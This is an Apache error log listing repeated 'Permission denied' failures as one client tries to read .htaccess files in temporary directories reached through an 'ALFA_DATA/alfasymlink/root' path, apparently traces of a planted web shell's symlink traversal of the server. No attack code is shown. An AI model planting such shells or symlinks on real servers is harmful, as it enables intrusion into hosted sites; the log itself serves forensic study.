[Sun Oct 25 14:24:54.966982 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/' is executable
[Sun Oct 25 14:24:54.966997 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/' is executable
[Sun Oct 25 14:24:54.967021 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/' is executable
[Sun Oct 25 14:24:54.967035 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/' is executable
[Sun Oct 25 14:24:54.967050 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/' is executable
[Sun Oct 25 14:24:54.967076 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/' is executable
[Sun Oct 25 14:24:54.967105 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Sun Oct 25 14:24:54.967120 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/' is executable
[Sun Oct 25 14:24:54.967132 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/' is executable
[Sun Oct 25 14:24:54.967143 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/' is executable
[Sun Oct 25 14:24:54.967169 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/' is executable
[Sun Oct 25 14:24:54.967182 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/' is executable
[Sun Oct 25 14:24:54.967210 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/' is executable
[Sun Oct 25 14:24:54.967233 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/' is executable
[Sun Oct 25 14:24:54.967263 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/' is executable
[Sun Oct 25 14:24:54.967278 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/' is executable
[Sun Oct 25 14:24:54.967290 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/' is executable
[Sun Oct 25 14:24:54.967302 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/' is executable
[Sun Oct 25 14:24:54.967316 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Sun Oct 25 14:24:54.967343 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/' is executable
[Sun Oct 25 14:24:54.967356 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/' is executable
[Sun Oct 25 14:24:54.967384 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/' is executable
[Sun Oct 25 14:24:54.967397 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/' is executable
[Sun Oct 25 14:24:54.967409 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/' is executable
[Sun Oct 25 14:24:54.967421 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/' is executable
[Sun Oct 25 14:24:54.967436 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/' is executable
[Sun Oct 25 14:24:54.967461 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Sun Oct 25 14:24:54.967485 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/' is executable
[Sun Oct 25 14:24:54.967503 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Sun Oct 25 14:24:54.967516 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/' is executable
[Sun Oct 25 14:24:54.967534 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/' is executable
[Sun Oct 25 14:24:54.967555 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/' is executable
[Sun Oct 25 14:24:54.967569 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/' is executable
[Sun Oct 25 14:24:54.967580 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/' is executable
[Sun Oct 25 14:24:54.967592 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/' is executable
[Sun Oct 25 14:24:54.967611 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/' is executable
[Sun Oct 25 14:24:54.967631 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/' is executable
[Sun Oct 25 14:24:54.967685 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Sun Oct 25 14:24:54.967714 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/' is executable
[Sun Oct 25 14:24:54.967729 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/' is executable
[Sun Oct 25 14:24:54.967740 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/' is executable
[Sun Oct 25 14:24:54.967762 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/' is executable
[Sun Oct 25 14:24:54.967774 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/' is executable
[Sun Oct 25 14:24:54.967788 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/' is executable
[Sun Oct 25 14:24:54.967804 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Sun Oct 25 14:24:54.967818 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Sun Oct 25 14:24:54.967833 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/' is executable
[Sun Oct 25 14:24:54.967847 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/' is executable
[Sun Oct 25 14:24:54.967876 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/' is executable
[Sun Oct 25 14:24:54.967891 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Sun Oct 25 14:24:54.967918 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/' is executable
[Sun Oct 25 14:24:54.967950 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/' is executable
[Sun Oct 25 14:24:54.967965 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/' is executable
[Sun Oct 25 14:24:54.967976 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/' is executable
[Sun Oct 25 14:24:54.967996 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/' is executable
[Sun Oct 25 14:24:54.968013 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/' is executable
[Sun Oct 25 14:24:54.968025 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/' is executable
[Sun Oct 25 14:24:54.968054 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/' is executable
[Sun Oct 25 14:24:54.968068 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/' is executable
[Sun Oct 25 14:24:54.968089 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/' is executable
[Sun Oct 25 14:24:54.968118 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/' is executable
[Sun Oct 25 14:24:54.968147 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/' is executable
[Sun Oct 25 14:24:54.968185 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/' is executable
[Sun Oct 25 14:24:54.968214 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/' is executable
[Sun Oct 25 14:24:54.968229 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Sun Oct 25 14:24:54.968242 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/' is executable
[Sun Oct 25 14:24:54.968260 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/' is executable
[Sun Oct 25 14:24:54.968280 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/' is executable
[Sun Oct 25 14:24:54.968294 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/' is executable
